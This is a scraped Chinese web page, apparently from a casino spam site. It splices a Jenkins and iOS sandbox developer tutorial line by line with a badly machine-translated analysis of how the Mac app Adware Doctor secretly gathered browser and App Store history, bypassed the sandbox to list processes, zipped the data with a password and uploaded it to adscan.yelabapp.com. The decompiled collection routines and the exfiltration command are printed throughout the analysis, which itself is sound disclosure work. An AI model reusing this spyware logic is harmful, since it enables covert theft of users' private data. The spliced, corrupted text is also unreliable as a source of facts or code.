金沙娱乐

被指向中夏族民共和国服务器提供数据,持续更新总结

三月 26th, 2019  |  金沙娱乐

原标题:被针对中华夏族民共和国服务器提供数据,Mac App Store下架排名第③的付费安软

Jenkins环境深刻领会

    1. Jenkins相关配置文件路径
    • Jenkins工作目录:/Users/Shared/Jenkins/Home

      • 类型目录:/jobs

        • 单个项目目录:/jobs/项目名称

          • 类别布局文件:/jobs/项目名称/config.xml

          • 类型编写翻译目录:/jobs/项目名称/builds

          • 品种空间引得:/jobs/项目名称/workspace

      • 插件目录:/plugins

    • Jenkins环境安排文件:/Library/LaunchDaemons/org.jenkins-ci.plist

      • 安排 日志文件路径

      • 陈设 Jenkins工作目录

      • 布署 Jenkins运行脚本

      • 配备 Jenkins的用户归属

    • Jenkins参数配置文件:/Library/Preferences/org.jenkins-ci.plist

      • 配置 http 端口号

      • 配置 https 端口号

      • 陈设 https 证书新闻

      • 等等。。。。。。

    • 日志:/private/var/log/jenkins/jenkins.log

    • 起先目录:/Library/Application Support/Jenkins

      • 启航脚本:jenkins-runner.sh

      • 卸载脚本:Uninstall.command

    • 重复开动Jenkins

      • 网页重启格局:

      • 重启电脑格局

      • 手动重启方式:

        • sudo launchctl load
          /Library/LaunchDaemons/org.jenkins-ci.plist

        • sudo launchctl unload
          /Library/LaunchDaemons/org.jenkins-ci.plist

  • [ ] 2. Jenkins 配置 https 地址

    • 生成 https 证书

      • 1

      • 2

      • 3

    • 配置 https 证书地方

      • 将证书key保存到
        /Users/Shared/Jenkins/zhengshu/server-key.pem

      • 将证书cert保存到
        /Users/Shared/Jenkins/zhengshu/server-cert.pem

    • 配置 /Library/Preferences/org.jenkins-ci.plist 文件

      • 添加 httpsPort : 8443

      • 添加 httpsPrivateKey :
        /Users/Shared/Jenkins/zhengshu/server-key.pem

      • 添加 httpsCertificate :
        /Users/Shared/Jenkins/zhengshu/server-cert.pem

    • 配置 /Library/Application Support/Jenkins/jenkins-runner.sh 文件

      • 增进代码 add_to_args httpsPrivateKey

      • 丰硕代码 add_to_args httpsCertificate

  • 重启运转Jenkins

    • 重启电脑格局

    • 手动重启格局:

      • sudo launchctl unload
        /Library/LaunchDaemons/org.jenkins-ci.plist

      • sudo launchctl load
        /Library/LaunchDaemons/org.jenkins-ci.plist

1 沙盒和NSBundle的区别

Simulator相关路径

  • 以下均在Xcode6或上述测试

前言

沙盒(NSHomeDirectory()) 是系统加载 app时,为 app
分配的积存空间。如本地数据库,文件存款和储蓄;

模拟器在MAC中的路径一:

模拟器在MAC中的安装路径

  • /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs

app应用在MAC中的安装路径

  • 被指向中夏族民共和国服务器提供数据,持续更新总结。在Xcode5和前边的本子中
    • /Users/username/Library/Application Support/iPhone Simulator。
    • 在该文件夹下,能够查阅到具有的模拟器版本,点进去后,可查看应用沙盒情状。
    • 在支付中,建议将文件拖动飞快路径到Finder左边个人珍藏下,能够一本万利打开查看应用沙盒。
  • 在Xcode6中,将模拟器的任务展开了改观
    • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识(一些字符串)
      • 前面那个模拟器标识便是一对字符串代表每二个不一的iOS设备
        譬如D3E79030-5DB9-4E5B-8E46-5C3B100CQashqaiIDE奇骏C1C就象征那是索爱4S,点击进入查看device.plist这些文件。

app应用的mainBundle在MAC中路径(app在mac上的仓库储存地点)

  • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Bundle/Application/iOS应用程序标标识符/iOS应用程序.app,然后右击包内容进入查看。
    • 里头就是故事中的[NSBundle mainBundle]相应的门径
  • mainBundle中加载指定(URL/路径)的文件
- URLForResource方法

NSURL *url = [[NSBundle mainBundle] URLForResource:soundName withExtension:@"mp3"];

- pathForResource方法

NSString *path = [[NSBundle mainBundle] pathForResource:soundName ofType:@"mp3"];

近来有美媒报导,Mac App Store中付费安全软件中排行榜第3的Adware
Doctor被研商人口发未来未经用户同意的事态下收集浏览历史,并将数据发送至位于中华夏族民共和国的服务器,之后被Mac
App Store下架。

NSBundle 是系统加载 app时,app
的可举行代码和这一个代码需求的能源文件所在的目录;

app在MAC中的路径二:(文件归档存款和储蓄/数据持久化存款和储蓄地点)

  • 在目录中摸索查个路子
- NSSearchPathForDirectoriesInDomains( )
  • 应用app文件归档所在路径
    • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Data/Application/iOS应用程序标标识符/iOS应用程序

// 应用app文件归档所在路径
NSString *path = NSHomeDirectory();
  • Documents(文档)
- /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Data/Application/iOS应用程序标标识符/iOS应用程序/Documents

        NSString *path = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) lastObject];
  • Library(资源库)
    /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Data/Application/iOS应用程序标标识符/iOS应用程序/Library

    • Library/Caches(沙盒)
      • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Data/Application/iOS应用程序标标识符/iOS应用程序/Library

// 获取沙盒路径
NSString *caches = [NSSearchPathForDirectoriesInDomains(NSCachesDirectory, NSUserDomainMask, YES) lastObject];

- Library/Preferences(`偏好设置`)
    - /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Data/Application/iOS应用程序标标识符/iOS应用程序/Preferences
  • tmp(临时文件夹)
    • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Data/Application/iOS应用程序标标识符/iOS应用程序/tmp

        // 获取临时文件夹路径
        NSString *path = NSTemporaryDirectory();

在被下架以前,Adware
Doctor是一款广受用户欢迎的乌海采纳,意在保证用户的浏览器免受广告软件和恶心软件威吓。海外切磋人口解构了本次爆发的下架事件的前因后果。

下边打字与印刷出她们的地方。

Adware Doctor

只顾:每一趟打字与印刷出的地点都是例外的

在Adware
Doctor的宣扬中,它是Mac用户抵御种种大规模广告软件威逼的“最好应用”:

– (void)viewDidLoad {

金沙娱乐 1

[super viewDidLoad];

在Mac App
Store中,那款应用程序卓殊受欢迎,在最畅销的应用程序中排行第五,由此连苹果Mac
App Store网站都列出了它的新闻:

NSLog(@”bundle: %p”, [[NSBundle mainBundle] infoDictionary]);

金沙娱乐 2

NSLog(@”home: %p”, NSHomeDirectory());

在“付费实用工具”分类中,Adware Doctor排行第②:

NSLog(@”code: %p”, self);

金沙娱乐 3

NSLog(@”bundle: %@”, [[NSBundle mainBundle] bundlePath]);

事件解构

NSLog(@”home: %@”, NSHomeDirectory());

研商人口运用静态分析(反编译)和动态解析(网络监督、文件监察和控制和调节和测试)的艺术对那款应用程序举办了商讨,以下是进度和结果。

NSString *content = @”my file content”;

率先,商量人士从Mac App Store下载 Adware Doctor,确认该应用程序(与Mac
App Store中的全体应用程序一样)由苹果例行签发:

NSError *error;

金沙娱乐 4

BOOL isRight = NO;

起步应用程序,观望到它经过HTTPS发出种种网络请求。例如,连接受adwareres.securemacos.com通过GET请求/AdwareDoctor/master.1.5.5.js:

isRight = [content writeToFile:[[[NSBundle mainBundle] bundlePath]
stringByAppendingPathComponent:@”file1.txt”]

金沙娱乐 5

atomically:YES

如图所示,下载的master.1.5.5.js文件包罗基本JSON配置数据:

encoding:NSUTF8StringEncoding

{

error:&error];

“disable_rate”:false,

if (!isRight) {

“disable_prescan”:false,

NSLog(@”write to bundle error: %@”, error.localizedDescription);

“sk_on”:false,

}

“faq_link”:“

isRight = [content
writeToFile:[NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,
NSUserDomainMask, YES).firstObject
stringByAppendingPathComponent:@”file1.txt”]

}

atomically:YES

单击应用程序界面中的“Clean”按钮会触发另3个到adwareres.securemacos.com的互联网请求,本次下载的是名为config1.5.0.js的第②个文件:

encoding:NSUTF8StringEncoding

金沙娱乐 6

error:&error];

此次下载的config1.5.0.js文件包蕴愈来愈多JSON,最值得注意的是那款软件的数据库的链接:

if (!isRight) {

{

NSLog(@”write to home dir error: %@”, error.localizedDescription);

“update”:true,

}

“version”:“201808243”,

}

“url”:“https://adwareres.securemacos.com/patten/file201808243.db”

模拟器中输出:

}

第 1 次运行:

然后是二个看起来很符合规律的数据库更新进度:

2017-07-26 10:38:41.307 Harvest[2236:541410] bundle: 0x600000065380

金沙娱乐 7

2017-07-26 10:38:41.307 Harvest[2236:541410] home: 0x7fd6d65043d0

商量职员查看了数据库的内容,是加密的(符合反广告软件/反恶意软件的做法):

2017-07-26 10:38:41.307 Harvest[2236:541410] code: 0x7fd6d650d820

金沙娱乐 8

2017-07-26 10:38:41.308 Harvest[2236:541410] bundle:
/Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Bundle/Application/817CFB68-19FE-4D58-960F-68F72BE236B7/Harvest.app

使用调试器捕获应用程序在内部存款和储蓄器中解密的文书,然后转储纯文本内容:

2017-07-26 10:38:41.308 Harvest[2236:541410] home:
/Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Data/Application/E1D22141-A32F-468E-91D5-307BD82FA251

(lldb)

第 2 次运行:

binaryContentMatchPatten = ({

2017-07-26 10:39:13.476 Harvest[2273:544438] bundle: 0x608000261040

md5 = (

2017-07-26 10:39:13.476 Harvest[2273:544438] home: 0x7f83b470cbb0

48a96e1c00be257debc9c9c58fafaffe,

2017-07-26 10:39:13.476 Harvest[2273:544438] code: 0x7f83b450e460

f1a19b8929ec88a81a6bdce6d5ee66e6,

2017-07-26 10:39:13.477 Harvest[2273:544438] bundle:
/Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Bundle/Application/05F27F47-8384-40A7-9FDF-451255E282B3/Harvest.app

3e653285b290c12d40982e6bb65928c1,

2017-07-26 10:39:13.477 Harvest[2273:544438] home:
/Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Data/Application/D91EC197-590D-4538-9651-435056AB5D19

801e59290d99ecb39fd218227674646e,

真机中输出:

8d0cd4565256a781f73aa1e68e2a63de,

第 1 次运行:

e233edd82b3dffd41fc9623519ea281b,

2017-07-26 10:33:04.426597+0800 Harvest[7963:2911220] bundle:
0x17007b8c0

1db830f93667d9c38dc943595dcc2d85,

2017-07-26 10:33:04.426826+0800 Harvest[7963:2911220] home:
0x17414e650

2017-07-26 10:33:04.426857+0800 Harvest[7963:2911220] code:
0x14de0ed10

browserHomePagePatten = (

2017-07-26 10:33:04.426885+0800 Harvest[7963:2911220] bundle:
/var/containers/Bundle/Application/0FF63C1B-80CC-4C79-9119-3EABE8D61F14/Harvest.app

{

2017-07-26 10:33:04.427091+0800 Harvest[7963:2911220] home:
/var/mobile/Containers/Data/Application/EA36910B-A24D-48BD-A657-561247429851

name = “Chrome homepage: safefinder”;

2017-07-26 10:33:04.446798+0800 Harvest[7963:2911220] write to bundle
error: 您没有将文件“file1.txt”存储到文件夹“丰收app”中的权限。

patten = “Chrome.*feed\\.snowbitt\\.com.*publisher=tingnew”;

第 2 次运行:

},

2017-07-26 10:35:51.724381+0800 Harvest[7969:2912283] bundle:
0x17007c7c0

{

2017-07-26 10:35:51.724596+0800 Harvest[7969:2912283] home:
0x174150490

name = “Chrome homepage: safefinder”;

2017-07-26 10:35:51.724627+0800 Harvest[7969:2912283] code:
0x145e0e4e0

patten = “Chrome.*feed\\.snowbitt\\.com.*publisher=TingSyn”;

2017-07-26 10:35:51.724655+0800 Harvest[7969:2912283] bundle:
/var/containers/Bundle/Application/36A3A0D0-B007-45B1-8672-7A9195CEDBF5/Harvest.app

},

2017-07-26 10:35:51.724857+0800 Harvest[7969:2912283] home:
/var/mobile/Containers/Data/Application/BDAA6308-C671-4022-B97C-F8EFE36CE746

{

2017-07-26 10:35:51.740230+0800 Harvest[7969:2912283] write to bundle
error: 您没有将文件“file1.txt”存款和储蓄到文件夹“丰收app”中的权限。

name = “Chrome homepage: safefinder”;

体现 Harvest.app 的包内容:

patten = “Chrome.*searchword.*/90/”;

金沙娱乐 9

},

开拓 NSHomeDirectory() 中的内容:

金沙娱乐 10

filePathPatten = (

结果分析:

“/Applications/WebShoppers”,

(1)bundle 中有个 info.plist 文件,是 app 的布局文件;沙盒的 Library /
Preferences 中有个 com.god.harvest.plist 文件,它用于 UserDefault 存款和储蓄;

“/Applications/WebShoppy”,

另:使用 xcode > Devices 下载 app 的 container 内容,会看出首要就是沙盒中的内容,再添加二个 AppDataInfo.plist(正是 info.plist).

“/Applications/SoftwareUpdater”,

(2)模拟器中,能够通过 writeToFile 向 沙盒 和 Bundle 中
写入文件;真机中是不能够向 Bundle 中写入文件的;

“/Applications/webshoppers”,

法定文书档案中评释(地址:

“~/Library/Application Support/WebTools”,

• A package is any directory that the Finder presents to the user as if
it were a single file.

“~/Library/WebTools”,

• A bundle is a directory with a standardized hierarchical structure
that holds executable code and the resources used by that code.

“/Applications/WebTools”,

“/Applications/WebTools.app”,

“/Applications/SmartShoppy”,

“/Applications/ShopTool”,

“/Applications/ShoppyTool”,

“/Applications/EasyShopper”,

launchPathMatchPatten = (

“com.WebShoppers.agent.plist”,

“com.WebShoppy.agent.plist”,

“com.webshoppers.agent.plist”,

“com.SoftwareUpdater.agent.plist”,

whitelist = (

“~/Library/LaunchAgents/com.spotify.webhelper.plist”,

“/Library/LaunchDaemons/com.intel.haxm.plist”,

“/Library/LaunchDaemons/net.privatetunnel.ovpnagent.plist”,

“/Library/LaunchDaemons/com.mixlr.MixlrAudioLink.plist”,

“/Library/LaunchDaemons/com.mcafee.ssm.Eupdate.plist”,

“/Library/LaunchDaemons/com.mcafee.ssm.ScanFactory.plist”,

“/Library/LaunchDaemons/com.mcafee.ssm.ScanManager.plist”,

“/Library/LaunchDaemons/com.mcafee.virusscan.fmpd.plist”,

“/Library/LaunchDaemons/com.microsoft.autoupdate.helper.plist”,

“/Library/LaunchAgents/com.microsoft.update.agent.plist”,

“/Library/LaunchDaemons/com.crashplan.engine.plist”

这几个特点看起来是一款反广告软件,并且哈希值确实与已知的广告软件非凡:

金沙娱乐 11

例如Adware.MAC.Pirrit:

金沙娱乐 12

回去Adware Doctor应用界面,它已有备无患好清理用户的系统:

金沙娱乐 13

直到下边一步并从未出现相当,但前边对窘迫了。

率先,在运作文件监视器(例如MacOS内置的fs_usage)和对包蕴历史记录的文书进行过滤(不区分轻重缓急写)后,一些老大的文本访问历史显现出来:

# fs_usage -w -f filesystem | grep “Adware Doctor” | grep -i history

Adware Doctor.44148 open ~/Library/Application
Support/CallHistoryTransactions

Adware Doctor.44148 open ~/Library/Application Support/CallHistoryDB

Adware Doctor.44148 RdData[A]
/dev/disk1s1/Users/user/Library/Safari/History.db

Adware Doctor.44148 lstat64 /Users/user/Library/Application
Support/Google/Chrome/Default/History

Adware Doctor.44148 open
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history.zip

Adware Doctor.44148 lstat64
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/psCommonInfo

Adware Doctor.44148 WrData[A]
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/appstoreHistory

Adware Doctor.44148 WrData[A]
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/safariHistory

Adware Doctor.44148 WrData[A]
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/chromeHistory

Adware Doctor.44148 WrData[A]
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/firefoxHistory

运作进程监视器(例如开源的ProcInfo实用程序),能够观测到Adware
Doctor使用内建zip实用程序创立受密码爱戴的history.zip存档:

# ./procInfo

process start:

pid: 2634

path: /bin/bash

args: (

“/bin/bash”,

“-c”,

“zip -r –quiet -P webtool
\”/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history.zip\”
\”/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history\” > /dev/null”

)

动用网络代理监视器(Charles Proxy)捕获Adware
Doctor到adscan.yelabapp.com的一连尝试:

金沙娱乐 14

透过编写制定系统的/etc/hosts文件,将此恳请重定向到探讨人口控制的服务器,捕获到Adware
Doctor尝试上传history.zip文件:

# python https.py

listening for for HTTPS requests on port:443

192.168.86.76 – – [20/Aug/2018 10:53:24] “POST /1/checkadware
HTTP/1.1” 200 –

Headers:

Host: adscan.yelabapp.com

Content-Type: multipart/form-data;
boundary=Boundary-E2AE6908-4FC6-4C1D-911A-0B34F844C510

Connection: keep-alive

Accept: */*

User-Agent: Adware%20Doctor/1026 CFNetwork/902.1 Darwin/17.7.0 (x86_64)

Content-Length: 15810

Accept-Language: en-us

Accept-Encoding: br, gzip, deflate

Path: /1/checkadware

Attachment: ‘history.zip’ (length: 15810)

待上传的“history.zip”文件受密码怜惜:

金沙娱乐 15

重放进度监视器的输出,密码被发送到内建的zip实用程序:zip -r –quiet -P
webtool …。

密码也被编码到应用程序的二进制文件中,因此反编写翻译二进制文件即可取得密码。

输入webtool作为密码解压文件:

金沙娱乐 16

翻看解压出来的剧情,Adware Doctor在暗地里收集用户的浏览器历史记录:

$ cat com.yelab.Browser-Sweeper/Data/Library/Application\
Support/com.yelab.Browser-Sweeper/history/chromeHistory

Person 1:

2018-08-20 21:19:57

2018-08-20 21:19:36

$ cat com.yelab.Browser-Sweeper/Data/Library/Application\
Support/com.yelab.Browser-Sweeper/history/safariHistory

08:29:41

1397-06-02 08:29:20

深切剖析

见到此间,有四个难点要求解答:

它什么绕过Mac App Store的沙盒机制来访问用户的文本?

它怎么搜集用户的浏览器历史记录?

它还搜集了如何系统消息和个人身份信息(PII)?

从安全和隐衷的角度来看,从官方Mac App
Store安装应用程序的首要优势有两点:

次第通过苹果官方审查和签发;

程序在沙盒中运作。

当应用程序在沙箱中运行时,能够访问的公文或用户新闻丰盛简单,应该不能够访问用户的浏览器历史记录,但那边Adware
Doctor做到了。

透过工具(WhatsYourSign)查看该应用程序的权柄,包涵:com.apple.security.files.user-selected.read-write:

金沙娱乐 17

那项权限意味着应用程序能够请求某个文件的权位,并且赢得显明的用户许可后,对文本实行读/写操作。Adware
Doctor在首先次运维时,会呈请访问用户的主目录以及上边包车型大巴持有文件和目录:

金沙娱乐 18

这是通过[MainWindowController showFileAccess]主意实现的:

/ * @class MainWindowController * /

– (void)showFileAccess {

r15 = self;

var_30 = [[AppSandboxFileAccess fileAccess] retain];

r13 = [[AppSandboxFileAccess fileAccess] retain];

rbx = [[BSUtil realHomeDirectory] retain];

r14 = [r13 hasAccessPremisionPath:rbx];

在AppSandboxFileAccess类的鼎力相助下:

金沙娱乐 19

在调节和测试器(lldb)中,观望用户主目录的拜访尝试:

Adware Doctor -[AppSandboxFileAccess hasAccessPremisionPath:]:

-> 0x10000cebf <+0>: pushq %rbp

0x10000cec0 <+1>: movq %rsp, %rbp

0x10000cec3 <+4>: pushq %r15

0x10000cec5 <+6>: pushq %r14

(lldb) po $rdi

(lldb) x/s $rsi

0x10006a147: “hasAccessPremisionPath:”

(lldb) po $rdx

/Users/user

今昔,Adware
Doctor能够合法访问用户的文本和目录,例如扫描以搜寻恶意代码。但是,一旦用户点击允许,Adware
Doctor将有所对负有用户文件的全部拜访权限,它应用了多种征集系统和用户消息的不二法门。纵然某个(例如进度列表)恐怕真的是用以反恶意软件或反广告软件的操作,但其他用户音信(例如用户的浏览历史记录)违反了严酷的Mac
App Store规则。

采访格局在ACEAdwareCleaner类中达成,并取名为collect *:

金沙娱乐 20

逆向一下有的主意

先是是collect萨姆ple方法。此格局查询应用程序下载的数据库。看起来它用于寻找采访样本中钦命的文书:

– (void)collectSample {

rbx = [r15 pattenDic];

r14 = [rbx valueForKey:@“sample”];

在调节和测试器中跳过此代码,并检讨示例键的未加密值:

(lldb)“/ Application / Adware Doctor.app”

po $ rax

<__ NSArrayM 0x10732b5e0>(

NAME =`whoami`; echo
/Users/”$NAME”/Library/LaunchAgents/com.apple.Yahoo.plist;

它正在用户的LaunchAgents目录中搜寻名为com.apple.Yahoo.plist的文书。在追寻引擎中追寻“com.apple.Yahoo.plist”,跳出的音信与门罗币挖矿木马有关。在VirusTotal上得以找到有关文书,但看起来没难点:

金沙娱乐 21

collectPSCommonInfoToFile方法。反编写翻译相关文件后收获了字符串和详细的章程名称,揭露了指标:

/* @class ACEAdwareCleaner */

-(void)collectPSCommonInfoToFile:(void *)arg2 {

var_38 = [arg2 retain];

r14 = [[NSMutableString alloc] init];

[r14 appendString:@”===System===\n”];

rbx = [[ACECommon operatingSystem] retain];

[r14 appendFormat:@”%@\n”];

[rbx release];

[r14 appendString:@”===OS UpTime===\n”];

rbx = [[ACECommon getSystemUpTime] retain];

[r14 appendFormat:@”%@\n”];

[rbx release];

[r14 appendString:@”===Launch===\n”];

rbx = [[self readLaunchFolder:@”/Library/LaunchAgents”] retain];

[r14 appendFormat:@”%@\n”];

[rbx release];

rbx = [[self readLaunchFolder:@”/Library/LaunchDaemons”] retain];

[r14 appendFormat:@”%@\n”];

[rbx release];

r15 = [[ACECommon realHomeDirectory] retain];

r13 = [[NSString stringWithFormat:@”%@/Library/LaunchAgents”, r15]
retain];

rbx = [[self readLaunchFolder:r13] retain];

[r14 appendFormat:@”%@\n”];

[rbx release];

[r13 release];

[r15 release];

[r14 appendString:@”\n===Applications===\n”];

rbx = [[ACECommon fileStringWithPath:@”/Applications”] retain];

[r14 appendString:rbx];

[rbx release];

[r14 appendString:@”\n===process===\n”];

rbx = [[ACECommon collectProcessList] retain];

[r14 appendString:rbx];

[rbx release];

[r14 appendString:@”\n===process2===\n”];

rbx = [[ACECommon collectProcessList2] retain];

[r14 appendString:rbx];

[rbx release];

[r14 writeToFile:var_38 atomically:0x1 encoding:0x4 error:0x0];

[var_38 release];

[r14 release];

return;

}

能够手动分析这么些代码,但回顾地让它实施并在下一行(靠近函数末尾)设置断点要简单得多:

(lldb)po $ rdx

/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support / com.yelab.Browser-Sweeper / history / psCommonInfo

请小心那个psCommonInfo也被exfilt到adscan.yelabapp.com(在history.zip文档中):

$ cat psCommonInfo

===System===

Version 10.13.6 (Build 17G65)

===OS UpTime===

1hour, 10minute, 31second

===Launch===

/Library/LaunchAgents/com.vmware.launchd.vmware-tools-userd.plist

444 root wheel

===Applications===

/Applications/DVD Player.app(1396-07-20 02:11:55 +0000)

/Applications/Siri.app(1396-07-27 03:17:13 +0000)

/Applications/QuickTime Player.app(1396-08-19 02:31:30 +0000)

/Applications/Chess.app(1396-06-15 01:20:21 +0000)

/Applications/Photo Booth.app(1396-04-25 01:50:31 +0000)

/Applications/Adware Doctor.app(1397-03-20 09:59:27 +0000)

….

===process2===

processID processName userID userName command

1759 bash 501 user /bin/bash

1758 login 0 root /usr/bin/login

1730 silhouette 501 user /usr/libexec/silhouette

1709 mdwrite 501 user /System/Library/Frame

….

虽说Adware
Doctor获得了通过com.apple.security.files.user-selected.read-write权限和强烈的用户许可来枚举用户文件,但听别人讲沙箱设计,它依旧无法列出任何正在运营的长河。

回想一下collectPSCommonInfoToFile,调用以下二种方法:

[r14 appendString:@“\ n === process === \ n”];

rbx = [[ACECommon collectProcessList] retain];

[r14 appendString:@“\ n === process2 === \ n”];

rbx = [[ACECommon collectProcessList2] retain];

主意collectProcessList尝试通过松手的ps命令枚举全体正在周转的进度:

(lldb) po $rdi

(lldb) po [$rdi launchPath]

/bin/sh

(lldb) po [$rdi arguments]

<__NSArrayI 0x1002851f0>(

-c,

ps -e -c -o “pid uid user args”

)

被macOS应用程序沙箱阻止(拒绝),因为枚举正在周转的长河(来自沙箱)是“大忌”:

/bin/sh: /bin/ps: Operation not permitted

Adware Doctor使用了collectProcessList2方法:

+(void *)collectProcessList2

{

rax = sub_1000519ad(&var_1068, &var_10A0,

@”processID\t\t\t processName\t\t\t userID\t\t\t
userName\t\t\t command\n”, rcx, r8, r9);

var_1070 = var_1068;

do {

proc_pidpath(*(int32_t *)(r14 – 0xcb), &var_1030, 0x1000);

} while (var_1088 > rax);

}

调用sub_1000519ad然后迭代该函数重返的一些列表,调用proc_pidpath。sub_1000519ad归来二个进度ID列表:

000000010007df90 dd 0x00000001 ;CTL_KERN

000000010007df94 dd 0x0000000e ;KERN_PROC

000000010007df98 dd 0x00000000 ;KERN_PROC_ALL

int sub_1000519ad(int arg0, int arg1, int arg2, int arg3, int arg4, int
arg5)

{

rax = sysctl(0x10007df90, 0x3, 0x0, r13, 0x0, 0x0);

if ((r12 ^ rax) == 0x1){

__assert_rtn(“GetBSDProcessList”,

“/Users/build1/Browser-Sweeper/src/Browser
Sweeper/Pods/PodACE/Engine/ACECommon.m”, …

}

rbx = malloc(0x0);

rax = sysctl(0x10007df90, 0x3, rbx, r13, 0x0, 0x0);

sysctl函数的调用加上字符串GetBSDProcessList给出了经过列表。它是苹果的GetBSDProcessList代码,可从应用程序沙箱中获取进度列表,也正是说
Adware Doctor用来绕沙箱的代码直接来源苹果。

明天让我们看看Adware
Doctor怎样搜集用户的浏览器历史记录。使用collectBrowserHistoryAndProcess方法,调用:

collectSafariHistoryToFile

collectChromeHistoryToFile

firefoxHistory

那几个格局中的每多少个都富含用于提取浏览器历史记录的代码。

对于Safari而言,那将调用解析其History.db文件:

+(void)collectSafariHistoryToFile:(void *)arg2 {

if ([ACECommon appInstalledByBundleId:@”com.apple.Safari”] != 0x0) {

r15 = [[ACECommon realHomeDirectory] retain];

rbx = [[r15
stringByAppendingPathComponent:@”Library/Safari/History.db”] retain];

r14 = [[FMDatabaseQueue databaseQueueWithPath:rbx] retain];

;parse database

}

else {

r14 = [[@”Safari not installed.” dataUsingEncoding:0x4] retain];

[r12 writeData:r14];

[r14 release];

[r12 closeFile];

}

}

该collectChromeHistoryToFile涉及到多个文件,但基本上能够总结为列举Chrome个人资料,然后分析Chrome历史数据。

+(void)collectChromeHistoryToFile:(void *)arg2 {

r13 = [[NSString stringWithFormat:@”Library/Application
Support/Google/Chrome/%@/History”] retain];

rbx = [[rbx stringByAppendingPathComponent:r13] retain];

[r14 copyItemAtPath:rbx toPath:var_170 error:0x0];

rbx = [[FMDatabaseQueue databaseQueueWithPath:var_170] retain];

}

最后,在解析每一个配置文件的places.sqlite数据库此前,collectFirefoxHistoryToFile方法枚举任何Firefox配置文件:

+(void)collectFirefoxHistoryToFile:(void *)arg2 {

r12 = [[NSString stringWithFormat:@”Library/Application
Support/Firefox/Profiles/%@/places.sqlite”] retain];

r15 = [[rbx stringByAppendingPathComponent:r12] retain];

r14 = [[金沙娱乐,FMDatabaseQueue databaseQueueWithPath:r15] retain];

该应用程序还有贰个名为collectAppStoreHistoryToFile的点子,它将尝试在App
Store App中获得用户近日的有所搜索记录:

+(void)collectAppStoreHistoryToFile:(void *)arg2 {

15 = [[rbx
stringByAppendingPathComponent:@”Library/Containers/com.apple.appstore/Data/Library/Caches/com.apple.appstore/WebKitCache/Version
11/Blobs”, 0x0, 0x0] retain];

r12 = [r14 initWithFormat:@”%@/Library/Application
Support/%@/appStoreData”, r15, rbx]

ar_1A0 = @[@”-c”, @”grep search.itunes * | sed
‘s/.*\(https:\/\/search\.itunes\.apple\.com.*q=.*\)\”
.*/\1/'”)]

}

在采访完用户数量后将有着内容都收缩到history.zip文件发送:

(lldb) po $rdi

(lldb) po [$rdi launchPath]

/bin/bash

(lldb) po [$rdi arguments]

<__NSArrayI 0x100352480>(

-c,

zip -r –quiet -P webtool
“/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history.zip”
“/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history” > /dev/null

)

此文件以及包涵软件列表的JSON
blob(已下载的.dmgs或.pkgs以及从哪儿下载),然后通过调用sendPostRequestWithSuffix方法上流传服务器(请小心API端点:checkadware)

[var_1F0 sendPostRequestWithSuffix:@”checkadware” params:r12
file:rbx];

[

{

“content”: “\/Users\/user\/Downloads\/googlechrome.dmg\n1397-06-02
21:15:46 +0000\n(\n
\”https:\/\/dl.google.com\/chrome\/mac\/stable\/GGRO\/googlechrome.dmg\”,\n
\”https:\/\/www.google.com\/chrome\/\”\n)\n5533641bc4cc7af7784565ac2386a807\n”

},{

“content”:
“\/Users\/user\/Downloads\/charles-proxy-4.2.6.dmg\n1397-06-02
20:48:18 +0000\n(\n
\”https:\/\/www.charlesproxy.com\/assets\/release\/4.2.6\/charles-proxy-4.2.6.dmg\”,\n
\”https:\/\/www.charlesproxy.com\/latest-release\/download.do\”\n)\nde043b43c49077bbdce75de22e2f2d54\n”

},{

“content”: “\/Users\/user\/Downloads\/Firefox
61.0.2.dmg\n1397-06-02 21:16:08 +0000\n(\n
\”https:\/\/download-installer.cdn.mozilla.net\/pub\/firefox\/releases\/61.0.2\/mac\/en-US\/Firefox%2061.0.2.dmg\”,\n
\”https:\/\/www.mozilla.org\/en-US\/firefox\/download\/thanks\/?v=a\”\n)\n65096904bf80c4dd12eb3ba833b7db8d\n”

},

]

–Boundary-D779386A-2A17-4264-955A-94C5FC6F5AFA

Content-Disposition: form-data; name=”attachment”;
filename=”history.zip”

Content-Type: application/zip

到了那边,用户数据就发到中夏族民共和国的服务器上去了。

结语

